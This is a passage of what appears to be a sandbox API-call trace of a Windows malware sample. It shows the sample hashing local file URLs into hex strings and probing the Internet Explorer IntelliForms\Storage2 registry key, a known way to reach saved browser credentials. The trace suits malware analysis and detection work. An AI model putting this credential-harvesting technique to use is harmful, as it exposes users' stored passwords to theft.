(lpString="AA75443EFEE4E2E71660A40A924017D33221") returned 36 [0078.050] lstrlenA (lpString="03") returned 2 [0078.050] LocalAlloc (uFlags=0x40, uBytes=0xa7) returned 0x6293a8 [0078.050] lstrcpyA (in: lpString1=0x6293a8, lpString2="AA75443EFEE4E2E71660A40A924017D33221" | out: lpString1="AA75443EFEE4E2E71660A40A924017D33221") returned="AA75443EFEE4E2E71660A40A924017D33221" [0078.050] lstrcatA (in: lpString1="AA75443EFEE4E2E71660A40A924017D33221", lpString2="03" | out: lpString1="AA75443EFEE4E2E71660A40A924017D3322103") returned="AA75443EFEE4E2E71660A40A924017D3322103" [0078.050] LocalFree (hMem=0x6292f8) returned 0x0 [0078.050] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="25") returned 2 [0078.050] lstrlenA (lpString="AA75443EFEE4E2E71660A40A924017D3322103") returned 38 [0078.050] lstrlenA (lpString="25") returned 2 [0078.050] LocalAlloc (uFlags=0x40, uBytes=0xa9) returned 0x647b70 [0078.050] lstrcpyA (in: lpString1=0x647b70, lpString2="AA75443EFEE4E2E71660A40A924017D3322103" | out: lpString1="AA75443EFEE4E2E71660A40A924017D3322103") returned="AA75443EFEE4E2E71660A40A924017D3322103" [0078.050] lstrcatA (in: lpString1="AA75443EFEE4E2E71660A40A924017D3322103", lpString2="25" | out: lpString1="AA75443EFEE4E2E71660A40A924017D332210325") returned="AA75443EFEE4E2E71660A40A924017D332210325" [0078.050] LocalFree (hMem=0x6293a8) returned 0x0 [0078.050] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="A7") returned 2 [0078.050] lstrlenA (lpString="AA75443EFEE4E2E71660A40A924017D332210325") returned 40 [0078.050] lstrlenA (lpString="A7") returned 2 [0078.050] LocalAlloc (uFlags=0x40, uBytes=0xab) returned 0x647ab8 [0078.050] lstrcpyA (in: lpString1=0x647ab8, lpString2="AA75443EFEE4E2E71660A40A924017D332210325" | out: lpString1="AA75443EFEE4E2E71660A40A924017D332210325") returned="AA75443EFEE4E2E71660A40A924017D332210325" [0078.050] lstrcatA (in: lpString1="AA75443EFEE4E2E71660A40A924017D332210325", lpString2="A7" | out: lpString1="AA75443EFEE4E2E71660A40A924017D332210325A7") returned="AA75443EFEE4E2E71660A40A924017D332210325A7" [0078.050] LocalFree (hMem=0x647b70) returned 0x0 [0078.050] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fe04 | out: phkResult=0x12fe04*=0x0) returned 0x2 [0078.050] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fdd8 | out: phkResult=0x12fdd8*=0x0) returned 0x2 [0078.050] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fdac | out: phkResult=0x12fdac*=0x0) returned 0x2 [0078.050] LocalFree (hMem=0x647ab8) returned 0x0 [0078.050] CoTaskMemFree (pv=0x656410) [0078.051] StrStrIW (lpFirst="file:///C:/Users/EEBsYm5/Desktop/0grKtsmrYghV4OdkR.gif", lpSrch="?") returned 0x0 [0078.051] lstrlenW (lpString="file:///C:/Users/EEBsYm5/Desktop/0grKtsmrYghV4OdkR.gif") returned 54 [0078.051] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="D8") returned 2 [0078.051] lstrlenA (lpString="") returned 0 [0078.051] lstrlenA (lpString="D8") returned 2 [0078.051] LocalAlloc (uFlags=0x40, uBytes=0x83) returned 0x65aa80 [0078.051] lstrcpyA (in: lpString1=0x65aa80, lpString2="" | out: lpString1="") returned="" [0078.051] lstrcatA (in: lpString1="", lpString2="D8" | out: lpString1="D8") returned="D8" [0078.051] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="F5") returned 2 [0078.051] lstrlenA (lpString="D8") returned 2 [0078.051] lstrlenA (lpString="F5") returned 2 [0078.051] LocalAlloc (uFlags=0x40, uBytes=0x85) returned 0x65afc8 [0078.051] lstrcpyA (in: lpString1=0x65afc8, lpString2="D8" | out: lpString1="D8") returned="D8" [0078.051] lstrcatA (in: lpString1="D8", lpString2="F5" | out: lpString1="D8F5") returned="D8F5" [0078.051] LocalFree (hMem=0x65aa80) returned 0x0 [0078.051] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="36") returned 2 [0078.051] lstrlenA (lpString="D8F5") returned 4 [0078.051] lstrlenA (lpString="36") returned 2 [0078.051] LocalAlloc (uFlags=0x40, uBytes=0x87) returned 0x65aa80 [0078.051] lstrcpyA (in: lpString1=0x65aa80, lpString2="D8F5" | out: lpString1="D8F5") returned="D8F5" [0078.051] lstrcatA (in: lpString1="D8F5", lpString2="36" | out: lpString1="D8F536") returned="D8F536" [0078.051] LocalFree (hMem=0x65afc8) returned 0x0 [0078.051] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="3A") returned 2 [0078.051] lstrlenA (lpString="D8F536") returned 6 [0078.051] lstrlenA (lpString="3A") returned 2 [0078.051] LocalAlloc (uFlags=0x40, uBytes=0x89) returned 0x6643e8 [0078.051] lstrcpyA (in: lpString1=0x6643e8, lpString2="D8F536" | out: lpString1="D8F536") returned="D8F536" [0078.051] lstrcatA (in: lpString1="D8F536", lpString2="3A" | out: lpString1="D8F5363A") returned="D8F5363A" [0078.051] LocalFree (hMem=0x65aa80) returned 0x0 [0078.051] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="F9") returned 2 [0078.051] lstrlenA (lpString="D8F5363A") returned 8 [0078.051] lstrlenA (lpString="F9") returned 2 [0078.051] LocalAlloc (uFlags=0x40, uBytes=0x8b) returned 0x664350 [0078.051] lstrcpyA (in: lpString1=0x664350, lpString2="D8F5363A" | out: lpString1="D8F5363A") returned="D8F5363A" [0078.051] lstrcatA (in: lpString1="D8F5363A", lpString2="F9" | out: lpString1="D8F5363AF9") returned="D8F5363AF9" [0078.051] LocalFree (hMem=0x6643e8) returned 0x0 [0078.052] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="DC") returned 2 [0078.052] lstrlenA (lpString="D8F5363AF9") returned 10 [0078.052] lstrlenA (lpString="DC") returned 2 [0078.052] LocalAlloc (uFlags=0x40, uBytes=0x8d) returned 0x6643e8 [0078.052] lstrcpyA (in: lpString1=0x6643e8, lpString2="D8F5363AF9" | out: lpString1="D8F5363AF9") returned="D8F5363AF9" [0078.052] lstrcatA (in: lpString1="D8F5363AF9", lpString2="DC" | out: lpString1="D8F5363AF9DC") returned="D8F5363AF9DC" [0078.052] LocalFree (hMem=0x664350) returned 0x0 [0078.052] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="60") returned 2 [0078.052] lstrlenA (lpString="D8F5363AF9DC") returned 12 [0078.052] lstrlenA (lpString="60") returned 2 [0078.052] LocalAlloc (uFlags=0x40, uBytes=0x8f) returned 0x664350 [0078.052] lstrcpyA (in: lpString1=0x664350, lpString2="D8F5363AF9DC" | out: lpString1="D8F5363AF9DC") returned="D8F5363AF9DC" [0078.052] lstrcatA (in: lpString1="D8F5363AF9DC", lpString2="60" | out: lpString1="D8F5363AF9DC60") returned="D8F5363AF9DC60" [0078.052] LocalFree (hMem=0x6643e8) returned 0x0 [0078.052] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="B1") returned 2 [0078.052] lstrlenA (lpString="D8F5363AF9DC60") returned 14 [0078.052] lstrlenA (lpString="B1") returned 2 [0078.052] LocalAlloc (uFlags=0x40, uBytes=0x91) returned 0x65afc8 [0078.052] lstrcpyA (in: lpString1=0x65afc8, lpString2="D8F5363AF9DC60" | out: lpString1="D8F5363AF9DC60") returned="D8F5363AF9DC60" [0078.052] lstrcatA (in: lpString1="D8F5363AF9DC60", lpString2="B1" | out: lpString1="D8F5363AF9DC60B1") returned="D8F5363AF9DC60B1" [0078.052] LocalFree (hMem=0x664350) returned 0x0 [0078.052] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="FB") returned 2 [0078.052] lstrlenA (lpString="D8F5363AF9DC60B1") returned 16 [0078.052] lstrlenA (lpString="FB") returned 2 [0078.052] LocalAlloc (uFlags=0x40, uBytes=0x93) returned 0x65b068 [0078.052] lstrcpyA (in: lpString1=0x65b068, lpString2="D8F5363AF9DC60B1" | out: lpString1="D8F5363AF9DC60B1") returned="D8F5363AF9DC60B1" [0078.052] lstrcatA (in: lpString1="D8F5363AF9DC60B1", lpString2="FB" | out: lpString1="D8F5363AF9DC60B1FB") returned="D8F5363AF9DC60B1FB" [0078.052] LocalFree (hMem=0x65afc8) returned 0x0 [0078.052] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="22") returned 2 [0078.052] lstrlenA (lpString="D8F5363AF9DC60B1FB") returned 18 [0078.052] lstrlenA (lpString="22") returned 2 [0078.052] LocalAlloc (uFlags=0x40, uBytes=0x95) returned 0x65afc8 [0078.052] lstrcpyA (in: lpString1=0x65afc8, lpString2="D8F5363AF9DC60B1FB" | out: lpString1="D8F5363AF9DC60B1FB") returned="D8F5363AF9DC60B1FB" [0078.052] lstrcatA (in: lpString1="D8F5363AF9DC60B1FB", lpString2="22" | out: lpString1="D8F5363AF9DC60B1FB22") returned="D8F5363AF9DC60B1FB22" [0078.052] LocalFree (hMem=0x65b068) returned 0x0 [0078.052] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="F6") returned 2 [0078.052] lstrlenA (lpString="D8F5363AF9DC60B1FB22") returned 20 [0078.052] lstrlenA (lpString="F6") returned 2 [0078.052] LocalAlloc (uFlags=0x40, uBytes=0x97) returned 0x65b068 [0078.052] lstrcpyA (in: lpString1=0x65b068, lpString2="D8F5363AF9DC60B1FB22" | out: lpString1="D8F5363AF9DC60B1FB22") returned="D8F5363AF9DC60B1FB22" [0078.053] lstrcatA (in: lpString1="D8F5363AF9DC60B1FB22", lpString2="F6" | out: lpString1="D8F5363AF9DC60B1FB22F6") returned="D8F5363AF9DC60B1FB22F6" [0078.053] LocalFree (hMem=0x65afc8) returned 0x0 [0078.053] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="DD") returned 2 [0078.053] lstrlenA (lpString="D8F5363AF9DC60B1FB22F6") returned 22 [0078.053] lstrlenA (lpString="DD") returned 2 [0078.053] LocalAlloc (uFlags=0x40, uBytes=0x99) returned 0x652cb0 [0078.053] lstrcpyA (in: lpString1=0x652cb0, lpString2="D8F5363AF9DC60B1FB22F6" | out: lpString1="D8F5363AF9DC60B1FB22F6") returned="D8F5363AF9DC60B1FB22F6" [0078.054] lstrcatA (in: lpString1="D8F5363AF9DC60B1FB22F6", lpString2="DD" | out: lpString1="D8F5363AF9DC60B1FB22F6DD") returned="D8F5363AF9DC60B1FB22F6DD" [0078.054] LocalFree (hMem=0x65b068) returned 0x0 [0078.054] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="18") returned 2 [0078.054] lstrlenA (lpString="D8F5363AF9DC60B1FB22F6DD") returned 24 [0078.054] lstrlenA (lpString="18") returned 2 [0078.055] LocalAlloc (uFlags=0x40, uBytes=0x9b) returned 0x652e00 [0078.055] lstrcpyA (in: lpString1=0x652e00, lpString2="D8F5363AF9DC60B1FB22F6DD" | out: lpString1="D8F5363AF9DC60B1FB22F6DD") returned="D8F5363AF9DC60B1FB22F6DD" [0078.055] lstrcatA (in: lpString1="D8F5363AF9DC60B1FB22F6DD", lpString2="18" | out: lpString1="D8F5363AF9DC60B1FB22F6DD18") returned="D8F5363AF9DC60B1FB22F6DD18" [0078.055] LocalFree (hMem=0x652cb0) returned 0x0 [0078.055] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="AD") returned 2 [0078.055] lstrlenA (lpString="D8F5363AF9DC60B1FB22F6DD18") returned 26 [0078.055] lstrlenA (lpString="AD") returned 2 [0078.055] LocalAlloc (uFlags=0x40, uBytes=0x9d) returned 0x652cb0 [0078.055] lstrcpyA (in: lpString1=0x652cb0, lpString2="D8F5363AF9DC60B1FB22F6DD18" | out: lpString1="D8F5363AF9DC60B1FB22F6DD18") returned="D8F5363AF9DC60B1FB22F6DD18" [0078.055] lstrcatA (in: lpString1="D8F5363AF9DC60B1FB22F6DD18", lpString2="AD" | out: lpString1="D8F5363AF9DC60B1FB22F6DD18AD") returned="D8F5363AF9DC60B1FB22F6DD18AD" [0078.055] LocalFree (hMem=0x652e00) returned 0x0 [0078.055] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="F7") returned 2 [0078.055] lstrlenA (lpString="D8F5363AF9DC60B1FB22F6DD18AD") returned 28 [0078.055] lstrlenA (lpString="F7") returned 2 [0078.055] LocalAlloc (uFlags=0x40, uBytes=0x9f) returned 0x652e00 [0078.055] lstrcpyA (in: lpString1=0x652e00, lpString2="D8F5363AF9DC60B1FB22F6DD18AD" | out: lpString1="D8F5363AF9DC60B1FB22F6DD18AD") returned="D8F5363AF9DC60B1FB22F6DD18AD" [0078.055] lstrcatA (in: lpString1="D8F5363AF9DC60B1FB22F6DD18AD", lpString2="F7" | out: lpString1="D8F5363AF9DC60B1FB22F6DD18ADF7") returned="D8F5363AF9DC60B1FB22F6DD18ADF7" [0078.055] LocalFree (hMem=0x652cb0) returned 0x0 [0078.055] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="40") returned 2 [0078.055] lstrlenA (lpString="D8F5363AF9DC60B1FB22F6DD18ADF7") returned 30 [0078.055] lstrlenA (lpString="40") returned 2 [0078.056] LocalAlloc (uFlags=0x40, uBytes=0xa1) returned 0x6293a8 [0078.056] lstrcpyA (in: lpString1=0x6293a8, lpString2="D8F5363AF9DC60B1FB22F6DD18ADF7" | out: lpString1="D8F5363AF9DC60B1FB22F6DD18ADF7") returned="D8F5363AF9DC60B1FB22F6DD18ADF7" [0078.056] lstrcatA (in: lpString1="D8F5363AF9DC60B1FB22F6DD18ADF7", lpString2="40" | out: lpString1="D8F5363AF9DC60B1FB22F6DD18ADF740") returned="D8F5363AF9DC60B1FB22F6DD18ADF740" [0078.056] LocalFree (hMem=0x652e00) returned 0x0 [0078.056] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="28") returned 2 [0078.056] lstrlenA (lpString="D8F5363AF9DC60B1FB22F6DD18ADF740") returned 32 [0078.056] lstrlenA (lpString="28") returned 2 [0078.056] LocalAlloc (uFlags=0x40, uBytes=0xa3) returned 0x6292f8 [0078.056] lstrcpyA (in: lpString1=0x6292f8, lpString2="D8F5363AF9DC60B1FB22F6DD18ADF740" | out: lpString1="D8F5363AF9DC60B1FB22F6DD18ADF740") returned="D8F5363AF9DC60B1FB22F6DD18ADF740" [0078.056] lstrcatA (in: lpString1="D8F5363AF9DC60B1FB22F6DD18ADF740", lpString2="28" | out: lpString1="D8F5363AF9DC60B1FB22F6DD18ADF74028") returned="D8F5363AF9DC60B1FB22F6DD18ADF74028" [0078.056] LocalFree (hMem=0x6293a8) returned 0x0 [0078.056] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="04") returned 2 [0078.056] lstrlenA (lpString="D8F5363AF9DC60B1FB22F6DD18ADF74028") returned 34 [0078.056] lstrlenA (lpString="04") returned 2 [0078.056] LocalAlloc (uFlags=0x40, uBytes=0xa5) returned 0x6293a8 [0078.056] lstrcpyA (in: lpString1=0x6293a8, lpString2="D8F5363AF9DC60B1FB22F6DD18ADF74028" | out: lpString1="D8F5363AF9DC60B1FB22F6DD18ADF74028") returned="D8F5363AF9DC60B1FB22F6DD18ADF74028" [0078.056] lstrcatA (in: lpString1="D8F5363AF9DC60B1FB22F6DD18ADF74028", lpString2="04" | out: lpString1="D8F5363AF9DC60B1FB22F6DD18ADF7402804") returned="D8F5363AF9DC60B1FB22F6DD18ADF7402804" [0078.056] LocalFree (hMem=0x6292f8) returned 0x0 [0078.056] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="C5") returned 2 [0078.056] lstrlenA (lpString="D8F5363AF9DC60B1FB22F6DD18ADF7402804") returned 36 [0078.056] lstrlenA (lpString="C5") returned 2 [0078.056] LocalAlloc (uFlags=0x40, uBytes=0xa7) returned 0x6292f8 [0078.056] lstrcpyA (in: lpString1=0x6292f8, lpString2="D8F5363AF9DC60B1FB22F6DD18ADF7402804" | out: lpString1="D8F5363AF9DC60B1FB22F6DD18ADF7402804") returned="D8F5363AF9DC60B1FB22F6DD18ADF7402804" [0078.056] lstrcatA (in: lpString1="D8F5363AF9DC60B1FB22F6DD18ADF7402804", lpString2="C5" | out: lpString1="D8F5363AF9DC60B1FB22F6DD18ADF7402804C5") returned="D8F5363AF9DC60B1FB22F6DD18ADF7402804C5" [0078.056] LocalFree (hMem=0x6293a8) returned 0x0 [0078.056] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="F3") returned 2 [0078.056] lstrlenA (lpString="D8F5363AF9DC60B1FB22F6DD18ADF7402804C5") returned 38 [0078.056] lstrlenA (lpString="F3") returned 2 [0078.056] LocalAlloc (uFlags=0x40, uBytes=0xa9) returned 0x647ab8 [0078.056] lstrcpyA (in: lpString1=0x647ab8, lpString2="D8F5363AF9DC60B1FB22F6DD18ADF7402804C5" | out: lpString1="D8F5363AF9DC60B1FB22F6DD18ADF7402804C5") returned="D8F5363AF9DC60B1FB22F6DD18ADF7402804C5" [0078.056] lstrcatA (in: lpString1="D8F5363AF9DC60B1FB22F6DD18ADF7402804C5", lpString2="F3" | out: lpString1="D8F5363AF9DC60B1FB22F6DD18ADF7402804C5F3") returned="D8F5363AF9DC60B1FB22F6DD18ADF7402804C5F3" [0078.056] LocalFree (hMem=0x6292f8) returned 0x0 [0078.056] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="F3") returned 2 [0078.056] lstrlenA (lpString="D8F5363AF9DC60B1FB22F6DD18ADF7402804C5F3") returned 40 [0078.056] lstrlenA (lpString="F3") returned 2 [0078.056] LocalAlloc (uFlags=0x40, uBytes=0xab) returned 0x647b70 [0078.056] lstrcpyA (in: lpString1=0x647b70, lpString2="D8F5363AF9DC60B1FB22F6DD18ADF7402804C5F3" | out: lpString1="D8F5363AF9DC60B1FB22F6DD18ADF7402804C5F3") returned="D8F5363AF9DC60B1FB22F6DD18ADF7402804C5F3" [0078.057] lstrcatA (in: lpString1="D8F5363AF9DC60B1FB22F6DD18ADF7402804C5F3", lpString2="F3" | out: lpString1="D8F5363AF9DC60B1FB22F6DD18ADF7402804C5F3F3") returned="D8F5363AF9DC60B1FB22F6DD18ADF7402804C5F3F3" [0078.057] LocalFree (hMem=0x647ab8) returned 0x0 [0078.057] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fe04 | out: phkResult=0x12fe04*=0x0) returned 0x2 [0078.057] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fdd8 | out: phkResult=0x12fdd8*=0x0) returned 0x2 [0078.057] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fdac | out: phkResult=0x12fdac*=0x0) returned 0x2 [0078.057] LocalFree (hMem=0x647b70) returned 0x0 [0078.057] CoTaskMemFree (pv=0x642440) [0078.057] StrStrIW (lpFirst="file:///C:/Users/EEBsYm5/Documents/RNXXLSlo/DHIwrBqSWWQg.xls", lpSrch="?") returned 0x0 [0078.057] lstrlenW (lpString="file:///C:/Users/EEBsYm5/Documents/RNXXLSlo/DHIwrBqSWWQg.xls") returned 60 [0078.057] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="85") returned 2 [0078.057] lstrlenA (lpString="") returned 0 [0078.057] lstrlenA (lpString="85") returned 2 [0078.057] LocalAlloc (uFlags=0x40, uBytes=0x83) returned 0x65aa80 [0078.057] lstrcpyA (in: lpString1=0x65aa80, lpString2="" | out: lpString1="") returned="" [0078.057] lstrcatA (in: lpString1="", lpString2="85" | out: lpString1="85") returned="85" [0078.057] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="4C") returned 2 [0078.057] lstrlenA (lpString="85") returned 2 [0078.057] lstrlenA (lpString="4C") returned 2 [0078.057] LocalAlloc (uFlags=0x40, uBytes=0x85) returned 0x65afc8 [0078.057] lstrcpyA (in: lpString1=0x65afc8, lpString2="85" | out: lpString1="85") returned="85" [0078.057] lstrcatA (in: lpString1="85", lpString2="4C" | out: lpString1="854C") returned="854C" [0078.057] LocalFree (hMem=0x65aa80) returned 0x0 [0078.057] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="09") returned 2 [0078.057] lstrlenA (lpString="854C") returned 4 [0078.057] lstrlenA (lpString="09") returned 2 [0078.057] LocalAlloc (uFlags=0x40, uBytes=0x87) returned 0x65aa80 [0078.057] lstrcpyA (in: lpString1=0x65aa80, lpString2="854C" | out: lpString1="854C") returned="854C" [0078.057] lstrcatA (in: lpString1="854C", lpString2="09" | out: lpString1="854C09") returned="854C09" [0078.057] LocalFree (hMem=0x65afc8) returned 0x0 [0078.057] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="03") returned 2 [0078.057] lstrlenA (lpString="854C09") returned 6 [0078.058] lstrlenA (lpString="03") returned 2 [0078.058] LocalAlloc (uFlags=0x40, uBytes=0x89) returned 0x664350 [0078.058] lstrcpyA (in: lpString1=0x664350, lpString2="854C09" | out: lpString1="854C09") returned="854C09" [0078.058] lstrcatA (in: lpString1="854C09", lpString2="03" | out: lpString1="854C0903") returned="854C0903" [0078.058] LocalFree (hMem=0x65aa80) returned 0x0 [0078.058] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="29") returned 2 [0078.058] lstrlenA (lpString="854C0903") returned 8 [0078.058] lstrlenA (lpString="29") returned 2 [0078.058] LocalAlloc (uFlags=0x40, uBytes=0x8b) returned 0x6643e8 [0078.058] lstrcpyA (in: lpString1=0x6643e8, lpString2="854C0903" | out: lpString1="854C0903") returned="854C0903" [0078.058] lstrcatA (in: lpString1="854C0903", lpString2="29" | out: lpString1="854C090329") returned="854C090329" [0078.058] LocalFree (hMem=0x664350) returned 0x0 [0078.058] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="BE") returned 2 [0078.058] lstrlenA (lpString="854C090329") returned 10 [0078.058] lstrlenA (lpString="BE") returned 2 [0078.058] LocalAlloc (uFlags=0x40, uBytes=0x8d) returned 0x664350 [0078.058] lstrcpyA (in: lpString1=0x664350, lpString2="854C090329" | out: lpString1="854C090329") returned="854C090329" [0078.058] lstrcatA (in: lpString1="854C090329", lpString2="BE" | out: lpString1="854C090329BE") returned="854C090329BE" [0078.058] LocalFree (hMem=0x6643e8) returned 0x0 [0078.058] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="A0") returned 2 [0078.058] lstrlenA (lpString="854C090329BE") returned 12 [0078.058] lstrlenA (lpString="A0") returned 2 [0078.058] LocalAlloc (uFlags=0x40, uBytes=0x8f) returned 0x6643e8 [0078.058] lstrcpyA (in: lpString1=0x6643e8, lpString2="854C090329BE" | out: lpString1="854C090329BE") returned="854C090329BE" [0078.058] lstrcatA (in: lpString1="854C090329BE", lpString2="A0" | out: lpString1="854C090329BEA0") returned="854C090329BEA0" [0078.058] LocalFree (hMem=0x664350) returned 0x0 [0078.058] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="40") returned 2 [0078.058] lstrlenA (lpString="854C090329BEA0") returned 14 [0078.058] lstrlenA (lpString="40") returned 2 [0078.058] LocalAlloc (uFlags=0x40, uBytes=0x91) returned 0x65afc8 [0078.058] lstrcpyA (in: lpString1=0x65afc8, lpString2="854C090329BEA0" | out: lpString1="854C090329BEA0") returned="854C090329BEA0" [0078.058] lstrcatA (in: lpString1="854C090329BEA0", lpString2="40" | out: lpString1="854C090329BEA040") returned="854C090329BEA040" [0078.058] LocalFree (hMem=0x6643e8) returned 0x0 [0078.058] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="92") returned 2 [0078.058] lstrlenA (lpString="854C090329BEA040") returned 16 [0078.058] lstrlenA (lpString="92") returned 2 [0078.058] LocalAlloc (uFlags=0x40, uBytes=0x93) returned 0x65b068 [0078.058] lstrcpyA (in: lpString1=0x65b068, lpString2="854C090329BEA040" | out: lpString1="854C090329BEA040") returned="854C090329BEA040" [0078.058] lstrcatA (in: lpString1="854C090329BEA040", lpString2="92" | out: lpString1="854C090329BEA04092") returned="854C090329BEA04092" [0078.058] LocalFree (hMem=0x65afc8) returned 0x0 [0078.058] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="42") returned 2 [0078.059] lstrlenA (lpString="854C090329BEA04092") returned 18 [0078.059] lstrlenA (lpString="42") returned 2 [0078.059] LocalAlloc (uFlags=0x40, uBytes=0x95) returned 0x65afc8 [0078.059] lstrcpyA (in: lpString1=0x65afc8, lpString2="854C090329BEA04092" | out: lpString1="854C090329BEA04092") returned="854C090329BEA04092" [0078.059] lstrcatA (in: lpString1="854C090329BEA04092", lpString2="42" | out: lpString1="854C090329BEA0409242") returned="854C090329BEA0409242" [0078.059] LocalFree (hMem=0x65b068) returned 0x0 [0078.059] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="09") returned 2 [0078.059] lstrlenA (lpString="854C090329BEA0409242") returned 20 [0078.059] lstrlenA (lpString="09") returned 2 [0078.059] LocalAlloc (uFlags=0x40, uBytes=0x97) returned 0x65b068 [0078.059] lstrcpyA (in: lpString1=0x65b068, lpString2="854C090329BEA0409242" | out: lpString1="854C090329BEA0409242") returned="854C090329BEA0409242" [0078.059] lstrcatA (in: lpString1="854C090329BEA0409242", lpString2="09" | out: lpString1="854C090329BEA040924209") returned="854C090329BEA040924209" [0078.059] LocalFree (hMem=0x65afc8) returned 0x0 [0078.059] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="7E") returned 2 [0078.059] lstrlenA (lpString="854C090329BEA040924209") returned 22 [0078.059] lstrlenA (lpString="7E") returned 2 [0078.059] LocalAlloc (uFlags=0x40, uBytes=0x99) returned 0x652e00 [0078.059] lstrcpyA (in: lpString1=0x652e00, lpString2="854C090329BEA040924209" | out: lpString1="854C090329BEA040924209") returned="854C090329BEA040924209" [0078.059] lstrcatA (in: lpString1="854C090329BEA040924209", lpString2="7E" | out: lpString1="854C090329BEA0409242097E") returned="854C090329BEA0409242097E" [0078.059] LocalFree (hMem=0x65b068) returned 0x0 [0078.059] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="71") returned 2 [0078.059] lstrlenA (lpString="854C090329BEA0409242097E") returned 24 [0078.059] lstrlenA (lpString="71") returned 2 [0078.059] LocalAlloc (uFlags=0x40, uBytes=0x9b) returned 0x652cb0 [0078.059] lstrcpyA (in: lpString1=0x652cb0, lpString2="854C090329BEA0409242097E" | out: lpString1="854C090329BEA0409242097E") returned="854C090329BEA0409242097E" [0078.059] lstrcatA (in: lpString1="854C090329BEA0409242097E", lpString2="71" | out: lpString1="854C090329BEA0409242097E71") returned="854C090329BEA0409242097E71" [0078.059] LocalFree (hMem=0x652e00) returned 0x0 [0078.059] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="8D") returned 2 [0078.059] lstrlenA (lpString="854C090329BEA0409242097E71") returned 26 [0078.059] lstrlenA (lpString="8D") returned 2 [0078.059] LocalAlloc (uFlags=0x40, uBytes=0x9d) returned 0x652e00 [0078.059] lstrcpyA (in: lpString1=0x652e00, lpString2="854C090329BEA0409242097E71" | out: lpString1="854C090329BEA0409242097E71") returned="854C090329BEA0409242097E71" [0078.059] lstrcatA (in: lpString1="854C090329BEA0409242097E71", lpString2="8D" | out: lpString1="854C090329BEA0409242097E718D") returned="854C090329BEA0409242097E718D" [0078.059] LocalFree (hMem=0x652cb0) returned 0x0 [0078.059] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="F5") returned 2 [0078.059] lstrlenA (lpString="854C090329BEA0409242097E718D") returned 28 [0078.059] lstrlenA (lpString="F5") returned 2 [0078.059] LocalAlloc (uFlags=0x40, uBytes=0x9f) returned 0x652cb0 [0078.059] lstrcpyA (in: lpString1=0x652cb0, lpString2="854C090329BEA0409242097E718D" | out: lpString1="854C090329BEA0409242097E718D") returned="854C090329BEA0409242097E718D" [0078.059] lstrcatA (in: lpString1="854C090329BEA0409242097E718D", lpString2="F5" | out: lpString1="854C090329BEA0409242097E718DF5") returned="854C090329BEA0409242097E718DF5" [0078.060] LocalFree (hMem=0x652e00) returned 0x0 [0078.060] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="81") returned 2 [0078.060] lstrlenA (lpString="854C090329BEA0409242097E718DF5") returned 30 [0078.060] lstrlenA (lpString="81") returned 2 [0078.060] LocalAlloc (uFlags=0x40, uBytes=0xa1) returned 0x6292f8 [0078.060] lstrcpyA (in: lpString1=0x6292f8, lpString2="854C090329BEA0409242097E718DF5" | out: lpString1="854C090329BEA0409242097E718DF5") returned="854C090329BEA0409242097E718DF5" [0078.060] lstrcatA (in: lpString1="854C090329BEA0409242097E718DF5", lpString2="81" | out: lpString1="854C090329BEA0409242097E718DF581") 